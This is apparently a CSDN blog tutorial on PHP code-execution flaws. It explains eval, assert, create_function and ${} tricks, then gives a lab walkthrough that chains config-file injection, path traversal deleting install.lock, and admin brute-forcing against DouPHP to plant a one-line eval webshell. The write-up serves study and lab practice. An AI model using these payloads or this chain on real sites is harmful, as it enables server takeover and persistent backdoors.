代码执行漏洞详解

已于 2024-04-29 12:19:46 修改
阅读量4.1k 收藏 7
点赞数 3
文章标签： web安全 代码审计 代码执行
于 2022-03-13 15:19:45 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_55854679/article/details/123450809
版权

文章目录

小知识

代码审计：

  • 通读全文【新手建议读blueCMS】。
  • 危险函数定位【代码审计工具】。
  • 利用曾经出现过的漏洞。

漏洞原理

  1. 用户输入的数据被当做后端代码进行执行。
  2. <?php @eval($_REQUEST[8])?> ，其实一句话木马的本质就是一个代码执行漏洞。
  3. 这里提一个概念叫RCE远程命令或者代码执行。现在因为RCE这个词的滥用，RCE的范围比较广，只要渗透的最终情况可以实现执行命令或者是代码都属于RCE，例如代码执行、文件包含、反序列化、命令执行，甚至是写文件Getshell都可以属于RCE。

相关函数

【注：为了方便把要执行的代码写为$a】

eval()函数

  • 把字符串当代码执行【eval不是函数，因为他不受disable_function的影响】。
  • disable_function：php.ini配置文件，可以禁用函数。

assert()函数

把字符串当代码执行，与eval()的区别在于assert()只能执行单行代码，eval()函数可以多行执行。

//常见防范措施

 assert("eval('')")       
 file_put_contents('1.php','<?php echo 1;echo 2;echo 3;?>')    //eval()被禁用

preg_replace()函数

PHP preg_replace() 函数
php正则/e的用法示例

preg_replace('/a/e',$_GET[8],'bc');

在这里插入图片描述

create_function()函数

匿名函数 —— 定义+ 调用

$a = create_function('$id','echo $id;');      //自定义函数$a
echo $a(8);       //执行echo $id;因为$id我传参是8，所以echo $id;

输出8

<?php 
$a = create_function('',$_REQUEST[8]);
?>
||
function abc($a) {
}phpinfo();//
}

在这里插入图片描述

array_map()函数

<?php 
$a = [1];
array_map('phpinfo',$a);
?>

在这里插入图片描述
在这里插入图片描述

特殊组合(双引号二次解析)

注意：
PHP版本5.5及其以上版本可以使用；
得在双引号内；
${} 在一起；
中间的东西会当作代码执行。

<?php 
$a = "${phpinfo()}";
?>

在这里插入图片描述
在这里插入图片描述

靶场练习

  1. 该靶场为douphpcms，首先在本地安装douphp。
    在这里插入图片描述
    装好即可自动生成一个文件config.php，保存账户名和密码，发现均用双引号进行的闭合，我们想到用最后一种函数— 特殊组合（双引号二次解析）。
    在这里插入图片描述2. 再次重现安装douphp，将数据库账号写为${file_put_contents('123.php','<?php eval($_REQUEST[8]);?>')}，安装后发现报错，但是配置文件config.php已经发生了改变。

在这里插入图片描述

在这里插入图片描述
我们发现配置文件中我们payload中的单引号被进行了转义，为了防止转义，我们修改payload为${file_put_contents($_GET[1],$_GET[2])}。再次上传后，我们访问http://127.0.0.1/douphp/data/config.php?1=666.php&2=<?php eval($_REQUEST[8])?>,即666.php文件生成。
在这里插入图片描述
在这里插入图片描述

  1. 但是正常情况下，我们不会得到一个cms的安装界面，它的install文件一般会被锁定。
    在这里插入图片描述

  2. 只有我们删除data目录下的install.lock才不会被锁定，因此，问题的核心现在是如何删除这个锁定文件或者修改这个锁定文件的文件名。

  3. PHP unlink() 函数
    因此，我们现在需要打开代码审计工具，寻找这个函数可以利用的点。
    在这里插入图片描述

  4. 我们找到第二条，查看是否可以。
    在这里插入图片描述
    我们分析源码，定位is_backup_file函数，发现要求了文件的头和尾，因此这个点不太可以。
    在这里插入图片描述

  5. 最终，我们发现第六条可以尝试一下。
    在这里插入图片描述
    引号内为字符串，$为变量，其余均为常量。

@ unlink(ROOT_PATH . M_PATH . '/theme/' . $_CFG['mobile_theme'] . '/images/' . $mobile_logo);
  1. 我们接下来的核心是控制$mobile_logo。
 $mobile_logo = $dou->get_one("SELECT value FROM " . $dou->table('config') . " WHERE name = 'mobile_logo'");

table函数意思为给表名加前缀，数据库中的config表的mobile_logo字段中有一个value值。

在这里插入图片描述

  1. 我们找到这段源码对应的文件位置并访问。
    在这里插入图片描述
    我们任意上传一个文件，回到数据库发现mobile_log有了值。
    在这里插入图片描述
  2. 接下来我们尝试得到unlink后面的文件路径，修改admin/mobile.php的unlink那行代码如下：
die(ROOT_PATH . M_PATH . '/theme/' . $_CFG['mobile_theme'] . '/images/' . $mobile_logo);

即可得到路径C:/phpstudy/WWW/douphp/m/theme/default/images/logo.png。
在这里插入图片描述
我们接下来的任务就是把../../../../data/install.lock这个路径写进去，就可以删除这个文件。

  1. 我们到上传图片的位置尝试。
    在这里插入图片描述
    我们的目的是使$value = ../../../../data/install.lock、$name = mobile_log。
foreach ($_POST as $name => $value) {       //数组中的键值分离
       if (is_array($value)) $value = serialize($value);
       $dou->query("UPDATE " . $dou->table('config') . " SET value = '$value' WHERE name = '$name'");
}
  1. 因此我们只需要代码执行csrf防御令牌验证这段代码，不需要执行上面上传图片的代码，而上传代码的核心是 if ($_FILES['mobile_logo']['name'] != '')。
  2. 我们上传依次图片后，再次点击提交，抓取点击提交时的数据包。
    在这里插入图片描述

修改如下：
在这里插入图片描述
重新刷新数据库，发现数据库更新成功。
在这里插入图片描述

  1. 我们点击删除LOGE，即可重新安装douphp。

  2. 回到我们本题的靶场，访问/admin，直接爆破皆可得到账号为admin，密码为123456。

  3. 访问http://dm521zx.zs.aqlab.cn/admin/mobile.php，重复第十三步，放包后点击删除LOGE，即可回到安装页面。
    在这里插入图片描述
    注意路径与下面的分割线不可有空行！【http数据包的格式要求】

  4. 继续进行第二步步骤，即可成功上传123.php，使用蚁剑连接即可得到flag。
    在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

poggioxay
关注
  • 3
    点赞
  • 踩
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
代码执行漏洞
qq_48904485的博客
03-21 566
1、漏洞形成原因 RCE为两种漏洞的缩写，分别为Remote Command/Code Execute，远程命令/代码执行。 命令注入与远程代码执行不同。他们的区别在于，远程代码执行实际上是调用服务器网站代码进行执行，而命令注入则是调用操作系统命令进行执行。 虽然最终效果都会在目标机器执行操，但是他们还是有区别的，基于这个区别，我们如何找到并利用方式也是有所不同的！ 2、代码执行的几种方式 ${}执行代码 eval assert preg_replace create_function() array_ma
命令执行_代码执行漏洞
xlvbys的博客
07-28 109
远程代码注入漏洞 原理 攻击者可利用代码注入漏洞执行任意代码，来操作服务器
常见十大漏洞总结（原理、危害、防御）
A_991128a的博客
06-18 206
与个人习惯和安全意识相关，为了避免忘记密码，使用一个非常容易记住 的密码，或者是直接采用系统的默认密码等。
OpenSSL 代码问题漏洞（CVE-2020-1971）（CVE-2020-1967）
lanren312的博客
06-23 3703
突然接到任务要维护服务器，一脸懵逼，硬着头皮上.....Openssl OpenSSL 代码问题漏洞（CVE-2020-1967） 目前厂商已发布升级补丁以修复漏洞，补丁获取链接： https://www.openssl.org/news/secadv/20200421.txt文档中指出：这些版本的用户应升级到 OpenSSL 1.1.1。Openssl OpenSSL 代码问题漏洞（CVE-2020-1967） 目前厂商已发布升级补丁以修复漏洞，补丁获取链接： https://www.openssl.
跨站脚本执行漏洞详解与防护
01-20
本文主要介绍跨站脚本执行漏洞的成因，形式，危害，利用方式，隐藏技巧，解决方法和常见问题 （FAQ），由于目前介绍跨站脚本执行漏洞的资料还不是很多，而且一般也不是很详细，所以希望本文能够 比较详细的介绍该...
安全漏洞XSS攻击方法详解
01-26
“XSS是跨站脚本攻击(Cross Site Scripting)，为不和层叠样式表(Cascading ...恶意攻击者往Web页面里插入恶意Script代码，当用户浏览该页之时，嵌入其中Web里面的Script代码会被执行，从而达到恶意攻击用户的目的。”
JSP安全开发之XSS漏洞详解
10-21
XSS又叫CSS (Cross Site Script) ，跨...它指的是恶意攻击者往Web页面里插入恶意脚本代码，而程序对于用户输入内容未过滤，当用户浏览该页之时，嵌入其中Web里面的脚本代码会被执行，从而达到恶意攻击用户的特殊目的。
PHP 网络开发详解之远程文件包含漏洞
12-18
例如，通过在浏览器上访问http://localhost/test.php?filename=myinc.php就可以在代码（Code）中包含并执行myinc.php文件。 由于上面的代码（Code）没有进行任何错误处理，在浏览器上不加参数运行
PHP的SQL注入实现(测试代码安全不错)
10-28
看黑客是如何入侵的，我们写编写php代码的过程中，最好自己先测试效果。
技术分享｜某办公系统代码执行漏洞分析及检测优化，一名毕业三年的女程序媛面试头条经验
最新发布
2401_83621634的博客
04-14 753
还有兄弟不知道网络安全面试可以提前刷题吗？费时一周整理的160+网络安全面试题，金九银十，做网络安全面试里的显眼包！王岚嵚工程师面试题（附答案），只能帮兄弟们到这儿了！如果你能答对70%，找一个安全工作，问题不大。对于有1-3年工作经验，想要跳槽的朋友来说，也是很好的温习资料！【完整版领取方式在文末！！
命令执行漏洞详解
热门推荐
weixin_42566218的博客
03-08 1万+
一、命令执行漏洞原理 在编写程序的时候，当碰到要执行系统命令来获取一些信息时，就要调用外部命令的函数，比如php中的exec()、system()等，如果这些函数的参数是由用户所提供的，那么恶意用户就可能通过构造命令拼接来执行额外系统命令，比如这样的代码 <?php system("ping -c 1 ".$_GET['ip']); ?> 程序的本意是让用户传入一个ip地址去测试网络连通性，但是由于参数不可控，当我们传入的ip参数为"127.0.0.1;id“时，执行的命令就便成了
SEED实验系列：SET-UID程序漏洞实验
yehenhei的专栏
10-15 4510
文详细出自http://www.shiyanlou.com/courses/227,转载请注明出处。 实验室链接 一、实验描述 Set-UID 是Unix系统中的一个重要的安全机制。当一个Set-UID程序运行的时候，它被假设为具有拥有者的权限。例如，如果程序的拥有者是root，那么任何人运行这个程序时都会获得程序拥有者的权限。Set-UID允许我们做许多很有趣的事情，但是不幸的是，它也是很
Web常见漏洞及防范
烈火成冰
09-29 4065
一、SQL注入漏洞  SQL注入攻击（SQL Injection），简称注入攻击、SQL注入，被广泛用于非法获取网站控制权，是发生在应用程序的数据库层上的安全漏洞。在设计程序，忽略了对输入字符串中夹带的SQL指令的检查，被数据库误认为是正常的SQL指令而运行，从而使数据库受到攻击，可能导致数据被窃取、更改、删除，以及进一步导致网站被嵌入恶意代码、被植入后门程序等危害。  通常情况下，SQL注入
PHP代码执行漏洞总结
Jtype的专栏
08-11 735
一 代码执行函数PHP中可以执行代码的函数。如eval()、assert()、“、system()、exec()、shell_exec()、passthru()、 escapeshellcmd()、pcntl_exec() 等demo code 1.1:echo `dir`;?>二 文件包含代码注射文件包含函数在特定条件下的代码注射，如include()、inclu
代码执行漏洞常见函数
东方
08-30 837
文章目录原因：代码注入函数： 原因： 代码注入函数： eval：要加分号当做引号执行。 assert： 相当于 把eval 语句放进去 call函数： call back array： 相当于把参数放在数组里面 function： 上面和下面一样的： 上面的echo $ code 相当于下面的第二个参数 所以第一个参数位置空着（空不空都行） ， 第二个参数写成命令是可控而且可执...
owasp top 10漏洞详解
03-15
OWASP Top 10漏洞是指OWASP组织发布的Web应用程序最常见、最危险的十大漏洞。这些漏洞包括注入、认证和会话管理、跨站点脚本（XSS）、不安全的直接对象引用、安全配置错误、敏感数据泄露、缺少功能级访问控制、跨站点请求伪造（CSRF）、使用已知的漏洞组件和不足的日志记录和监视。这些漏洞可能导致数据泄露、身份盗窃、拒绝服务攻击和其他安全问题。了解OWASP Top 10漏洞并采取相应的安全措施可以帮助开发人员和企业保护其Web应用程序免受攻击。其中，注入漏洞是最常见的漏洞之一，攻击者可以通过注入恶意代码来执行非授权的查询，从而获取敏感信息。为了保护Web应用程序免受注入漏洞的攻击，开发人员应该对用户输入数据进行严格的过滤和验证。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

poggioxay

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值